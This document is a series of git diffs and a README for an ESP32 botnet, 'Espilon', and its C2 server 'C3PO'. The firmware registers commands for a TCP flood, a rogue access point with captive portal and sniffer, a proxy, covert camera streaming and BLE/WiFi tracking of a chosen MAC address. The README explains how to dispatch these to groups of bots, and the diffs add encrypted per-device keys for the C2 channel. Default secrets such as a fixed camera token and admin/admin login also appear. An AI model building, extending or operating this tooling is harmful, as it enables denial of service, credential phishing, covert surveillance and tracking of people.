static const command_t fakeap_cmds[] = { static const command_t fakeap_cmds[] = {
{ "fakeap_start", 1, 3, cmd_fakeap_start, NULL, false }, { "fakeap_start", NULL, NULL, 1, 3, cmd_fakeap_start, NULL, false },
{ "fakeap_stop", 0, 0, cmd_fakeap_stop, NULL, false }, { "fakeap_stop", NULL, NULL, 0, 0, cmd_fakeap_stop, NULL, false },
{ "fakeap_status", 0, 0, cmd_fakeap_status, NULL, false }, { "fakeap_status", NULL, NULL, 0, 0, cmd_fakeap_status, NULL, false },
{ "fakeap_clients", 0, 0, cmd_fakeap_clients, NULL, false }, { "fakeap_clients", NULL, NULL, 0, 0, cmd_fakeap_clients, NULL, false },
{ "fakeap_portal_start", 0, 0, cmd_fakeap_portal_start, NULL, false }, { "fakeap_portal_start", NULL, NULL, 0, 0, cmd_fakeap_portal_start, NULL, false },
{ "fakeap_portal_stop", 0, 0, cmd_fakeap_portal_stop, NULL, false }, { "fakeap_portal_stop", NULL, NULL, 0, 0, cmd_fakeap_portal_stop, NULL, false },
{ "fakeap_sniffer_on", 0, 0, cmd_fakeap_sniffer_on, NULL, false }, { "fakeap_sniffer_on", NULL, NULL, 0, 0, cmd_fakeap_sniffer_on, NULL, false },
{ "fakeap_sniffer_off", 0, 0, cmd_fakeap_sniffer_off, NULL, false } { "fakeap_sniffer_off", NULL, NULL, 0, 0, cmd_fakeap_sniffer_off, NULL, false }
}; };
void mod_fakeap_register_commands(void) void mod_fakeap_register_commands(void)

View File

@ -300,7 +300,15 @@ static void send_dns_spoof(
int req_len, int req_len,
uint32_t ip uint32_t ip
) { ) {
uint8_t resp[512]; /* DNS answer appends 16 bytes after the request */
#define DNS_ANSWER_SIZE 16
uint8_t resp[512 + DNS_ANSWER_SIZE];
if (req_len <= 0 || req_len > 512) {
ESP_LOGW(TAG, "DNS spoof: invalid req_len=%d", req_len);
return;
}
memcpy(resp, req, req_len); memcpy(resp, req, req_len);
resp[2] |= 0x80; // QR = response resp[2] |= 0x80; // QR = response

View File

@ -150,11 +150,11 @@
* REGISTER COMMANDS * REGISTER COMMANDS
* ============================================================ */ * ============================================================ */
static const command_t network_cmds[] = { static const command_t network_cmds[] = {
{ "ping", 1, 8, cmd_ping, NULL, true }, { "ping", NULL, NULL, 1, 8, cmd_ping, NULL, true },
{ "arp_scan", 0, 0, cmd_arp_scan, NULL, true }, { "arp_scan", NULL, NULL, 0, 0, cmd_arp_scan, NULL, true },
{ "proxy_start", 2, 2, cmd_proxy_start, NULL, true }, { "proxy_start", NULL, NULL, 2, 2, cmd_proxy_start, NULL, true },
{ "proxy_stop", 0, 0, cmd_proxy_stop, NULL, false }, { "proxy_stop", NULL, NULL, 0, 0, cmd_proxy_stop, NULL, false },
{ "dos_tcp", 3, 3, cmd_dos_tcp, NULL, true } { "dos_tcp", NULL, NULL, 3, 3, cmd_dos_tcp, NULL, true }
}; };
void mod_network_register_commands(void) void mod_network_register_commands(void)

View File

@ -53,8 +53,8 @@ static bool camera_initialized = false;
static int udp_sock = -1; static int udp_sock = -1;
static struct sockaddr_in dest_addr; static struct sockaddr_in dest_addr;
/* ⚠️ à passer en Kconfig plus tard */ /* Camera UDP authentication token (from Kconfig) */
static const char *token = "Sup3rS3cretT0k3n"; static const char *token = CONFIG_CAMERA_UDP_TOKEN;
/* ============================================================ /* ============================================================
* CAMERA INIT * CAMERA INIT

View File

@ -184,24 +184,25 @@ static void ble_init(void)
/* ============================================================ /* ============================================================
* COMMANDS * COMMANDS
* ============================================================ */ * ============================================================ */
static esp_err_t cmd_trilat_start(int argc, char **argv, void *ctx) static esp_err_t cmd_trilat_start(int argc, char **argv, const char *request_id, void *ctx)
{ {
if (argc != 4) if (argc != 4)
return msg_error(TAG, "usage: trilat start <mac> <url> <bearer>", NULL); return msg_error(TAG, "usage: trilat start <mac> <url> <bearer>", request_id);
if (trilat_running) if (trilat_running)
return msg_error(TAG, "already running", NULL); return msg_error(TAG, "already running", request_id);
ESP_ERROR_CHECK(nvs_flash_init()); ESP_ERROR_CHECK(nvs_flash_init());
if (!parse_mac_str(argv[1], target_mac)) if (!parse_mac_str(argv[1], target_mac))
return msg_error(TAG, "invalid MAC", NULL); return msg_error(TAG, "invalid MAC", request_id);
strncpy(target_url, argv[2], MAX_LEN-1); strncpy(target_url, argv[2], MAX_LEN-1);
strncpy(auth_bearer, argv[3], MAX_LEN-1); strncpy(auth_bearer, argv[3], MAX_LEN-1);
snprintf(auth_header, sizeof(auth_header), "Bearer %s", auth_bearer); snprintf(auth_header, sizeof(auth_header), "Bearer %s", auth_bearer);
buffer_mutex = xSemaphoreCreateMutex(); if (!buffer_mutex)
buffer_mutex = xSemaphoreCreateMutex();
data_buffer[0] = 0; data_buffer[0] = 0;
buffer_len = 0; buffer_len = 0;
@ -211,19 +212,19 @@ static esp_err_t cmd_trilat_start(int argc, char **argv, void *ctx)
trilat_running = true; trilat_running = true;
xTaskCreate(post_task, "trilat_post", 4096, NULL, 5, &post_task_handle); xTaskCreate(post_task, "trilat_post", 4096, NULL, 5, &post_task_handle);
msg_info(TAG, "trilat started", NULL); msg_info(TAG, "trilat started", request_id);
return ESP_OK; return ESP_OK;
} }
static esp_err_t cmd_trilat_stop(int argc, char **argv, void *ctx) static esp_err_t cmd_trilat_stop(int argc, char **argv, const char *request_id, void *ctx)
{ {
if (!trilat_running) if (!trilat_running)
return msg_error(TAG, "not running", NULL); return msg_error(TAG, "not running", request_id);
trilat_running = false; trilat_running = false;
esp_ble_gap_stop_scanning(); esp_ble_gap_stop_scanning();
msg_info(TAG, "trilat stopped", NULL); msg_info(TAG, "trilat stopped", request_id);
return ESP_OK; return ESP_OK;
} }

View File

@ -162,10 +162,10 @@ static int cmd_system_info(
* COMMAND REGISTRATION * COMMAND REGISTRATION
* ============================================================ */ * ============================================================ */
static const command_t system_cmds[] = { static const command_t system_cmds[] = {
{ "system_reboot", 0, 0, cmd_system_reboot, NULL, false }, { "system_reboot", NULL, NULL, 0, 0, cmd_system_reboot, NULL, false },
{ "system_mem", 0, 0, cmd_system_mem, NULL, false }, { "system_mem", NULL, NULL, 0, 0, cmd_system_mem, NULL, false },
{ "system_uptime", 0, 0, cmd_system_uptime, NULL, false }, { "system_uptime", NULL, NULL, 0, 0, cmd_system_uptime, NULL, false },
{ "system_info", 0, 0, cmd_system_info, NULL, false } { "system_info", NULL, NULL, 0, 0, cmd_system_info, NULL, false }
}; };
void mod_system_register_commands(void) void mod_system_register_commands(void)

View File

@ -102,6 +102,14 @@ config RECON_MODE_CAMERA
bool "Enable Camera Reconnaissance" bool "Enable Camera Reconnaissance"
default n default n
config CAMERA_UDP_TOKEN
string "Camera UDP Token"
default "Sup3rS3cretT0k3n"
depends on RECON_MODE_CAMERA
help
Secret token prepended to camera UDP packets.
Must match CAMERA_SECRET_TOKEN on the C2 server.
config RECON_MODE_MLAT config RECON_MODE_MLAT
bool "Enable MLAT (Multilateration) Module" bool "Enable MLAT (Multilateration) Module"
default n default n
@ -116,13 +124,17 @@ endmenu
################################################ ################################################
menu "Security" menu "Security"
config CRYPTO_KEY config CRYPTO_FCTRY_NS
string "ChaCha20 Key (32 bytes)" string "Factory NVS namespace for crypto"
default "testde32chars0000000000000000000" default "crypto"
help
NVS namespace in the factory partition where the master key is stored.
config CRYPTO_NONCE config CRYPTO_FCTRY_KEY
string "ChaCha20 Nonce (12 bytes)" string "Factory NVS key name for master key"
default "noncenonceno" default "master_key"
help
NVS key name for the 32-byte master key blob in the factory partition.
endmenu endmenu

View File

@ -70,6 +70,12 @@ void app_main(void)
init_nvs(); init_nvs();
/* Crypto: read master key from factory NVS, derive encryption key */
if (!crypto_init()) {
ESP_LOGE(TAG, "CRYPTO INIT FAILED no master key in factory NVS?");
esp_restart();
}
/* ===================================================== /* =====================================================
* Command system * Command system
* ===================================================== */ * ===================================================== */

View File

@ -0,0 +1,6 @@
# Epsilon Bot - Custom Partition Table
# Name, Type, SubType, Offset, Size, Flags
nvs, data, nvs, 0x9000, 0x6000,
phy_init, data, phy, 0xf000, 0x1000,
fctry, data, nvs, 0x10000, 0x6000,
factory, app, factory, 0x20000, 0x1E0000,
1 # Epsilon Bot - Custom Partition Table
2 # Name, Type, SubType, Offset, Size, Flags
3 nvs, data, nvs, 0x9000, 0x6000,
4 phy_init, data, phy, 0xf000, 0x1000,
5 fctry, data, nvs, 0x10000, 0x6000,
6 factory, app, factory, 0x20000, 0x1E0000,

View File

@ -0,0 +1,27 @@
# Espilon Bot - sdkconfig defaults
# Device
CONFIG_DEVICE_ID="espilon-demo"
# Network
CONFIG_WIFI_SSID="mywifi"
CONFIG_WIFI_PASS=""
CONFIG_SERVER_IP="192.168.1.100"
CONFIG_SERVER_PORT=2626
# Crypto (factory NVS)
CONFIG_CRYPTO_FCTRY_NS="crypto"
CONFIG_CRYPTO_FCTRY_KEY="master_key"
# mbedTLS - ChaCha20-Poly1305 + HKDF
CONFIG_MBEDTLS_CHACHA20_C=y
CONFIG_MBEDTLS_POLY1305_C=y
CONFIG_MBEDTLS_CHACHAPOLY_C=y
CONFIG_MBEDTLS_HKDF_C=y
# Partition table
CONFIG_PARTITION_TABLE_CUSTOM=y
CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv"
# Logging
CONFIG_ESPILON_LOG_LEVEL_INFO=y
CONFIG_ESPILON_LOG_BOOT_SUMMARY=y

View File

@ -45,3 +45,9 @@ VIDEO_ENABLED=true
VIDEO_PATH=static/streams/record.avi VIDEO_PATH=static/streams/record.avi
VIDEO_FPS=10 VIDEO_FPS=10
VIDEO_CODEC=MJPG VIDEO_CODEC=MJPG
# ===================
# Honeypot Dashboard (optional plugin)
# ===================
# Path to espilon-honey-pot/tools/ directory
# HP_DASHBOARD_PATH=/path/to/espilon-honey-pot/tools

372
tools/C3PO/README.md Normal file
View File

@ -0,0 +1,372 @@
# C3PO (C2) - Full Documentation
C3PO is the Command & Control (C2) server for ESPILON agents. It manages device connections, command dispatch, device state tracking, and provides a CLI, a multi-device TUI (Textual), a web dashboard, and a UDP camera receiver with recording.
---
## Summary
Main features:
- TCP server for ESP agents (Base64 + ChaCha20-Poly1305 AEAD + Protobuf)
- Device registry and group management
- Interactive CLI + multi-device TUI
- Web dashboard (Flask) with Dashboard, Cameras, and MLAT pages
- UDP camera receiver with recording
- MLAT (multilateration) engine for RSSI-based positioning
---
## Prerequisites
- Python 3.10+ (tested with 3.11)
- pip (package manager)
- Virtual environment (recommended)
---
## Installation
### 1. Créer un environnement virtuel
```bash
cd tools/c2
python3 -m venv .venv
```
Ceci crée un dossier `.venv/` isolé pour les dépendances Python.
### 2. Activer l'environnement
**Linux / macOS :**
```bash
source .venv/bin/activate
```
**Windows (PowerShell) :**
```powershell
.\.venv\Scripts\Activate.ps1
```
**Windows (CMD) :**
```cmd
.\.venv\Scripts\activate.bat
```
Le prompt devrait afficher `(.venv)` pour confirmer l'activation.
### 3. Installer les dépendances
```bash
pip install -r requirements.txt
```
Ceci installe toutes les dépendances nécessaires :
| Package | Version | Usage |
| --- | --- | --- |
| `pycryptodome` | >=3.15.0 | ChaCha20-Poly1305 AEAD + HKDF key derivation |
| `protobuf` | >=4.21.0 | Sérialisation Protocol Buffers |
| `flask` | >=2.0.0 | Serveur web (dashboard, API) |
| `python-dotenv` | >=1.0.0 | Chargement config `.env` |
| `textual` | >=0.40.0 | Interface TUI multi-pane |
| `opencv-python` | >=4.8.0 | Traitement vidéo/images caméra |
| `numpy` | >=1.24.0 | Calculs matriciels (opencv, scipy) |
| `scipy` | >=1.10.0 | Algorithme MLAT (optimisation) |
### 4. Vérifier l'installation
```bash
python -c "from web.server import UnifiedWebServer; print('OK')"
```
### Désactiver l'environnement
```bash
deactivate
```
---
## Configuration
### C2 (TCP)
The core C2 server uses constants defined in `utils/constant.py`:
- `HOST` (default `0.0.0.0`)
- `PORT` (default `2626`)
### Web + Camera + MLAT
Copy `.env.example` to `.env` and adjust as needed:
```bash
cp .env.example .env
```
Key variables:
- `WEB_HOST`, `WEB_PORT` (dashboard web server, default `0.0.0.0:8000`)
- `UDP_HOST`, `UDP_PORT` (camera UDP, default `0.0.0.0:5000`)
- `CAMERA_SECRET_TOKEN` (must match firmware)
- `WEB_USERNAME`, `WEB_PASSWORD` (dashboard login)
- `FLASK_SECRET_KEY` (sessions)
- `MULTILAT_AUTH_TOKEN` (Bearer token for MLAT API)
- `IMAGE_DIR` (JPEG frames)
- `VIDEO_ENABLED`, `VIDEO_PATH`, `VIDEO_FPS`, `VIDEO_CODEC`
---
## Launch
Classic CLI mode:
```bash
python3 c3po.py
```
TUI (Textual) mode:
```bash
python3 c3po.py --tui
```
---
## C2 Commands (CLI/TUI)
Main commands:
| Command | Description |
| --- | --- |
| `help [command]` | General help or per-command help |
| `list` | List connected devices |
| `modules` | List ESP commands by module |
| `send <target> <cmd> [args...]` | Send a command |
| `group <action>` | Manage groups |
| `active_commands` | List running commands |
| `web start\|stop\|status` | Web dashboard |
| `camera start\|stop\|status` | Camera UDP receiver |
| `clear` | Clear screen |
| `exit` | Quit |
Examples:
```bash
list
send ce4f626b system_reboot
send all fakeap_status
send group scanners mlat start AA:BB:CC:DD:EE:FF
web start
camera start
active_commands
```
### Groups
```bash
group add bots ce4f626b a91dd021
group list
group show bots
group remove bots ce4f626b
```
---
## ESP Commands (Modules)
ESP commands are organized by module (use `modules`). Summary:
| Module | Command | Description |
| --- | --- | --- |
| system | `system_reboot` | Reboot ESP32 |
| system | `system_mem` | Memory info |
| system | `system_uptime` | Device uptime |
| system | `system_info` | Auto-query on connect |
| network | `ping <host>` | Ping |
| network | `arp_scan` | ARP scan |
| network | `proxy_start <ip> <port>` | TCP proxy |
| network | `proxy_stop` | Stop proxy |
| network | `dos_tcp <ip> <port> <count>` | TCP flood |
| fakeap | `fakeap_start <ssid> [open\|wpa2] [pass]` | Start Fake AP |
| fakeap | `fakeap_stop` | Stop Fake AP |
| fakeap | `fakeap_status` | Fake AP status |
| fakeap | `fakeap_clients` | List clients |
| fakeap | `fakeap_portal_start` | Captive portal |
| fakeap | `fakeap_portal_stop` | Stop portal |
| fakeap | `fakeap_sniffer_on` | Sniffer on |
| fakeap | `fakeap_sniffer_off` | Sniffer off |
| recon | `cam_start <ip> <port>` | Start camera stream |
| recon | `cam_stop` | Stop camera stream |
| recon | `mlat config [gps\|local] <c1> <c2>` | Set scanner position |
| recon | `mlat mode <ble\|wifi>` | Scan mode |
| recon | `mlat start <mac>` | Start MLAT |
| recon | `mlat stop` | Stop MLAT |
| recon | `mlat status` | MLAT status |
Notes:
- `DEV_MODE = True` in `tools/c2/cli/cli.py` allows raw text: `send <target> <any text>`
- `system_info` is automatically sent on new connections.
---
## TUI (Textual)
The TUI shows:
- Left panel: all connected devices
- Right panel: global logs
- Bottom input bar with autocomplete
Key bindings:
- `Alt+G`: toggle global logs
- `Ctrl+L`: clear global logs
- `Ctrl+Q`: quit
- `Esc`: focus input
- `Tab`: completion
---
## Screenshots
Replace the placeholders below with your own captures:
![C3PO CLI Placeholder](docs/screenshots/c3po-cli.png)
![C3PO TUI Placeholder](docs/screenshots/c3po-tui.png)
![C3PO Web Dashboard Placeholder](docs/screenshots/c3po-web-dashboard.png)
![C3PO Cameras Placeholder](docs/screenshots/c3po-cameras.png)
![C3PO MLAT Placeholder](docs/screenshots/c3po-mlat.png)
---
## Web Dashboard
Start from the CLI:
```bash
web start
```
Default local URL:
```text
http://127.0.0.1:8000
```
Default credentials: `admin` / `admin` (defined in `.env`).
Pages:
- `/dashboard` (devices)
- `/cameras` (streams)
- `/mlat` (MLAT view)
### API (Bearer token)
Authenticate with:
```text
Authorization: Bearer <MULTILAT_AUTH_TOKEN>
```
Endpoints:
- `GET /api/devices`
- `GET /api/cameras`
- `POST /api/recording/start/<camera_id>`
- `POST /api/recording/stop/<camera_id>`
- `GET /api/recording/status?camera_id=<id>`
- `GET /api/recordings`
- `POST /api/mlat/collect`
- `GET /api/mlat/state`
- `GET|POST /api/mlat/config`
- `POST /api/mlat/clear`
- `GET /api/stats`
Example:
```bash
curl -H "Authorization: Bearer multilat_secret_token" http://127.0.0.1:8000/api/devices
```
---
## Camera UDP
The UDP receiver assembles JPEG frames and stores them in `IMAGE_DIR`. Expected protocol:
- Each packet starts with `CAMERA_SECRET_TOKEN`
- `START`: begin frame
- `END`: end frame
- Other packets are JPEG chunks
C2 commands:
- `camera start`
- `camera stop`
- `camera status`
Quick test:
```bash
python3 test_udp.py 5000
```
Recording:
- Triggered via Web API (recording endpoints)
- Files stored in `static/recordings`
---
## MLAT (Multilateration)
Supported formats (from ESP):
- `MLAT:G;<lat>;<lon>;<rssi>`
- `MLAT:L;<x>;<y>;<rssi>`
- Legacy: `MLAT:<lat>;<lon>;<rssi>`
Requirements:
- At least 3 active scanners
- Calibration via `rssi_at_1m` and `path_loss_n` (`/api/mlat/config`)
---
## Architecture (Summary)
```
tools/C3PO/
├── c3po.py # C2 entrypoint (CLI / TUI)
├── cli/ # CLI + help
├── commands/ # Registry + internal commands
├── core/ # Registry, transport, crypto, keystore
│ ├── crypto.py # ChaCha20-Poly1305 AEAD + HKDF
│ ├── keystore.py # Per-device master key management (keys.json)
│ ├── transport.py # TCP transport with per-device crypto
│ └── registry.py # Device registry
├── log/ # Log manager
├── streams/ # Camera UDP + config
├── tui/ # Textual UI
├── web/ # Flask server + MLAT
├── templates/ # HTML
├── static/ # CSS/JS/streams/recordings
├── utils/ # Display, constants
├── keys.json # Per-device master key store
└── requirements.txt
```
---
## Troubleshooting
- `Base64 decode failed` or `Decrypt failed`: verify the device was provisioned with `tools/provisioning/provision.py` and that `keys.json` contains the correct master key for the device ID
- `TUI not available`: install `textual`
- No camera frames: check `CAMERA_SECRET_TOKEN` and `UDP_PORT`
- Web not reachable: check `WEB_HOST`, `WEB_PORT`, firewall
- MLAT not resolving: needs at least 3 scanners
---
## Security Notes
- Each device must be provisioned with a unique master key via `tools/provisioning/provision.py`
- Master keys are stored in `keys.json` — keep this file secure and never commit it to version control
- The C2 derives per-device encryption keys using HKDF-SHA256 (master_key + device_id salt)
- All C2 communications use ChaCha20-Poly1305 AEAD with random 12-byte nonces
- Change `WEB_USERNAME` / `WEB_PASSWORD` and `FLASK_SECRET_KEY`
- Change `MULTILAT_AUTH_TOKEN` for the API

View File

@ -7,6 +7,7 @@ import time
import argparse import argparse
from core.registry import DeviceRegistry from core.registry import DeviceRegistry
from core.keystore import KeyStore
from core.transport import Transport from core.transport import Transport
from log.manager import LogManager from log.manager import LogManager
from cli.cli import CLI from cli.cli import CLI
@ -16,10 +17,11 @@ from core.groups import GroupRegistry
from utils.constant import HOST, PORT from utils.constant import HOST, PORT
from utils.display import Display from utils.display import Display
# Strict base64 validation (ESP sends BASE64 + '\n') # New wire format: device_id:BASE64 + '\n'
BASE64_RE = re.compile(br'^[A-Za-z0-9+/=]+$') FRAME_RE = re.compile(br'^[A-Za-z0-9_-]+:[A-Za-z0-9+/=]+$')
RX_BUF_SIZE = 4096 RX_BUF_SIZE = 4096
MAX_BUFFER_SIZE = 1024 * 1024 # 1MB max buffer to prevent memory exhaustion
DEVICE_TIMEOUT_SECONDS = 300 # Devices are considered inactive after 5 minutes without a heartbeat DEVICE_TIMEOUT_SECONDS = 300 # Devices are considered inactive after 5 minutes without a heartbeat
HEARTBEAT_CHECK_INTERVAL = 10 # Check every 10 seconds HEARTBEAT_CHECK_INTERVAL = 10 # Check every 10 seconds
@ -40,6 +42,11 @@ def client_thread(sock: socket.socket, addr, transport: Transport, registry: Dev
buffer += data buffer += data
# Prevent memory exhaustion from malicious clients
if len(buffer) > MAX_BUFFER_SIZE:
Display.error(f"Buffer overflow from {addr}, dropping connection")
break
# Strict framing by '\n' (ESP behavior) # Strict framing by '\n' (ESP behavior)
while b"\n" in buffer: while b"\n" in buffer:
line, buffer = buffer.split(b"\n", 1) line, buffer = buffer.split(b"\n", 1)
@ -48,9 +55,9 @@ def client_thread(sock: socket.socket, addr, transport: Transport, registry: Dev
if not line: if not line:
continue continue
# Ignore noise / invalid frames # Validate frame format: device_id:base64
if not BASE64_RE.match(line): if not FRAME_RE.match(line):
Display.system_message(f"Ignoring non-base64 data from {addr}") Display.system_message(f"Ignoring invalid frame from {addr}")
continue continue
try: try:
@ -110,15 +117,19 @@ $$ | $$\\ $$\\ $$ |$$ | $$ | $$ |
# ============================ # ============================
registry = DeviceRegistry() registry = DeviceRegistry()
logger = LogManager() logger = LogManager()
keystore = KeyStore("keys.json")
if not args.tui:
Display.system_message(f"Loaded {len(keystore)} device key(s) from {keystore.path}")
# Initialize CLI first, then pass it to Transport # Initialize CLI first, then pass it to Transport
commands = CommandRegistry() commands = CommandRegistry()
commands.register(RebootCommand()) commands.register(RebootCommand())
groups = GroupRegistry() groups = GroupRegistry()
# Placeholder for CLI, will be properly initialized after Transport # Placeholder for CLI, will be properly initialized after Transport
cli_instance = None cli_instance = None
transport = Transport(registry, logger, cli_instance) # Pass a placeholder for now transport = Transport(registry, logger, keystore, cli_instance)
cli_instance = CLI(registry, commands, groups, transport) cli_instance = CLI(registry, commands, groups, transport)
transport.set_cli(cli_instance) # Set the actual CLI instance in transport transport.set_cli(cli_instance) # Set the actual CLI instance in transport

View File

@ -8,7 +8,10 @@ from cli.help import HelpManager
from core.transport import Transport from core.transport import Transport
from proto.c2_pb2 import Command from proto.c2_pb2 import Command
from streams.udp_receiver import UDPReceiver from streams.udp_receiver import UDPReceiver
from streams.config import UDP_HOST, UDP_PORT, IMAGE_DIR, MULTILAT_AUTH_TOKEN from streams.config import (
UDP_HOST, UDP_PORT, IMAGE_DIR, MULTILAT_AUTH_TOKEN,
WEB_HOST, WEB_PORT, DEFAULT_USERNAME, DEFAULT_PASSWORD, FLASK_SECRET_KEY
)
from web.server import UnifiedWebServer from web.server import UnifiedWebServer
from web.mlat import MlatEngine from web.mlat import MlatEngine
@ -29,6 +32,12 @@ class CLI:
self.udp_receiver: Optional[UDPReceiver] = None self.udp_receiver: Optional[UDPReceiver] = None
self.mlat_engine = MlatEngine() self.mlat_engine = MlatEngine()
# Honeypot dashboard components (created on web start)
self.hp_store = None
self.hp_commander = None
self.hp_alerts = None
self.hp_geo = None
readline.parse_and_bind("tab: complete") readline.parse_and_bind("tab: complete")
readline.set_completer(self._complete) readline.set_completer(self._complete)
@ -227,7 +236,7 @@ class CLI:
cmd.request_id = request_id cmd.request_id = request_id
Display.command_sent(d.id, cmd_name, request_id) Display.command_sent(d.id, cmd_name, request_id)
self.transport.send_command(d.sock, cmd) self.transport.send_command(d.sock, cmd, d.id)
self.active_commands[request_id] = { self.active_commands[request_id] = {
"device_id": d.id, "device_id": d.id,
"command_name": cmd_name, "command_name": cmd_name,
@ -340,11 +349,42 @@ class CLI:
Display.system_message("Web server is already running.") Display.system_message("Web server is already running.")
return return
# Initialize honeypot dashboard components
try:
from hp_dashboard import HpStore, HpCommander, HpAlertEngine, HpGeoLookup
if not self.hp_store:
self.hp_geo = HpGeoLookup()
self.hp_store = HpStore(geo_lookup=self.hp_geo)
if not self.hp_alerts:
self.hp_alerts = HpAlertEngine()
self.hp_alerts.set_store(self.hp_store)
if not self.hp_commander:
self.hp_commander = HpCommander(
get_transport=lambda: self.transport,
get_registry=lambda: self.registry,
)
# Wire into transport for event/response routing
self.transport.hp_store = self.hp_store
self.transport.hp_commander = self.hp_commander
Display.system_message("Honeypot dashboard enabled (alerts + geo active)")
except ImportError:
Display.system_message("Honeypot dashboard not available (hp_dashboard not found)")
self.web_server = UnifiedWebServer( self.web_server = UnifiedWebServer(
host=WEB_HOST,
port=WEB_PORT,
image_dir=IMAGE_DIR,
username=DEFAULT_USERNAME,
password=DEFAULT_PASSWORD,
secret_key=FLASK_SECRET_KEY,
device_registry=self.registry, device_registry=self.registry,
mlat_engine=self.mlat_engine, mlat_engine=self.mlat_engine,
multilat_token=MULTILAT_AUTH_TOKEN, multilat_token=MULTILAT_AUTH_TOKEN,
camera_receiver=self.udp_receiver camera_receiver=self.udp_receiver,
hp_store=self.hp_store,
hp_commander=self.hp_commander,
hp_alerts=self.hp_alerts,
hp_geo=self.hp_geo,
) )
if self.web_server.start(): if self.web_server.start():

View File

@ -143,7 +143,7 @@ class HelpManager:
self._out(" start Start the web server (dashboard, cameras, MLAT)") self._out(" start Start the web server (dashboard, cameras, MLAT)")
self._out(" stop Stop the web server") self._out(" stop Stop the web server")
self._out(" status Show server status and MLAT engine info") self._out(" status Show server status and MLAT engine info")
self._out(" Default URL: http://127.0.0.1:5000") self._out(" Default URL: http://127.0.0.1:8000 (configurable via .env)")
elif command_name == "camera": elif command_name == "camera":
self._out("Help for 'camera' command:") self._out("Help for 'camera' command:")
@ -153,7 +153,7 @@ class HelpManager:
self._out(" start Start UDP receiver for camera frames") self._out(" start Start UDP receiver for camera frames")
self._out(" stop Stop UDP receiver") self._out(" stop Stop UDP receiver")
self._out(" status Show receiver stats (packets, frames, errors)") self._out(" status Show receiver stats (packets, frames, errors)")
self._out(" Default port: 12345") self._out(" Default port: 5000 (configurable via .env)")
elif command_name == "modules": elif command_name == "modules":
self._out("Help for 'modules' command:") self._out("Help for 'modules' command:")

58
tools/C3PO/core/crypto.py Normal file
View File

@ -0,0 +1,58 @@
import base64
from Crypto.Cipher import ChaCha20_Poly1305
from Crypto.Protocol.KDF import HKDF
from Crypto.Hash import SHA256
HKDF_INFO = b"espilon-c2-v1"
class CryptoContext:
"""Per-device AEAD crypto context.
Derives a 32-byte encryption key from the device's master key
using HKDF-SHA256 with device_id as salt.
"""
def __init__(self, master_key: bytes, device_id: str):
if len(master_key) != 32:
raise ValueError(f"master_key must be 32 bytes, got {len(master_key)}")
self.derived_key = HKDF(
master=master_key,
key_len=32,
salt=device_id.encode(),
hashmod=SHA256,
context=HKDF_INFO,
)
# =========================
# ChaCha20-Poly1305 AEAD
# =========================
def encrypt(self, data: bytes) -> bytes:
"""Encrypt and authenticate. Returns nonce[12] || ciphertext || tag[16]."""
cipher = ChaCha20_Poly1305.new(key=self.derived_key)
ct, tag = cipher.encrypt_and_digest(data)
return cipher.nonce + ct + tag
def decrypt(self, data: bytes) -> bytes:
"""Decrypt and verify. Input: nonce[12] || ciphertext || tag[16].
Raises ValueError on authentication failure.
"""
if len(data) < 28:
raise ValueError(f"Encrypted payload too short ({len(data)} bytes)")
nonce = data[:12]
tag = data[-16:]
ct = data[12:-16]
cipher = ChaCha20_Poly1305.new(key=self.derived_key, nonce=nonce)
return cipher.decrypt_and_verify(ct, tag)
# =========================
# Base64
# =========================
@staticmethod
def b64_encode(data: bytes) -> bytes:
return base64.b64encode(data)
@staticmethod
def b64_decode(data: bytes) -> bytes:
return base64.b64decode(data)

View File

@ -0,0 +1,82 @@
import json
import os
import threading
from typing import Optional
class KeyStore:
"""Thread-safe per-device master key storage backed by a JSON file.
File format (keys.json):
{
"device_id_1": "hex_encoded_32_byte_master_key",
"device_id_2": "hex_encoded_32_byte_master_key",
...
}
"""
def __init__(self, path: str = "keys.json"):
self.path = os.path.abspath(path)
self._keys: dict[str, bytes] = {}
self._lock = threading.Lock()
self.load()
def load(self) -> None:
"""Load keys from JSON file. Creates empty file if not found."""
if not os.path.exists(self.path):
return
try:
with open(self.path, "r") as f:
data = json.load(f)
with self._lock:
self._keys = {
did: bytes.fromhex(hex_key)
for did, hex_key in data.items()
}
except (json.JSONDecodeError, ValueError) as e:
print(f"[KeyStore] Warning: failed to load {self.path}: {e}")
def save(self) -> None:
"""Persist keys to JSON file."""
with self._lock:
data = {
did: key.hex()
for did, key in self._keys.items()
}
with open(self.path, "w") as f:
json.dump(data, f, indent=2)
def get(self, device_id: str) -> Optional[bytes]:
"""Return 32-byte master key for a device, or None if unknown."""
with self._lock:
return self._keys.get(device_id)
def add(self, device_id: str, master_key: bytes) -> None:
"""Register a device's master key and persist."""
if len(master_key) != 32:
raise ValueError(f"master_key must be 32 bytes, got {len(master_key)}")
with self._lock:
self._keys[device_id] = master_key
self.save()
def remove(self, device_id: str) -> bool:
"""Remove a device's key. Returns True if it existed."""
with self._lock:
if device_id in self._keys:
del self._keys[device_id]
self.save()
return True
return False
def list_devices(self) -> list[str]:
"""Return list of known device IDs."""
with self._lock:
return list(self._keys.keys())
def __len__(self) -> int:
with self._lock:
return len(self._keys)
def __contains__(self, device_id: str) -> bool:
with self._lock:
return device_id in self._keys

View File

@ -1,5 +1,6 @@
from core.crypto import CryptoContext from core.crypto import CryptoContext
from core.device import Device from core.device import Device
from core.keystore import KeyStore
from core.registry import DeviceRegistry from core.registry import DeviceRegistry
from log.manager import LogManager from log.manager import LogManager
from utils.display import Display from utils.display import Display
@ -13,49 +14,84 @@ if TYPE_CHECKING:
class Transport: class Transport:
def __init__(self, registry: DeviceRegistry, logger: LogManager, cli_instance: 'CLI' = None): def __init__(self, registry: DeviceRegistry, logger: LogManager,
self.crypto = CryptoContext() keystore: KeyStore, cli_instance: 'CLI' = None):
self.registry = registry self.registry = registry
self.logger = logger self.logger = logger
self.cli = cli_instance # CLI instance for callback self.keystore = keystore
self.command_responses = {} # To track command responses self.cli = cli_instance
self.command_responses = {}
self.hp_store = None
self.hp_commander = None
# Cache of CryptoContext per device_id (HKDF derivation is expensive)
self._crypto_cache: dict[str, CryptoContext] = {}
def set_cli(self, cli_instance: 'CLI'): def set_cli(self, cli_instance: 'CLI'):
self.cli = cli_instance self.cli = cli_instance
def _get_crypto(self, device_id: str) -> CryptoContext | None:
"""Get or create a CryptoContext for the given device."""
if device_id in self._crypto_cache:
return self._crypto_cache[device_id]
master_key = self.keystore.get(device_id)
if master_key is None:
return None
ctx = CryptoContext(master_key, device_id)
self._crypto_cache[device_id] = ctx
return ctx
# ================================================== # ==================================================
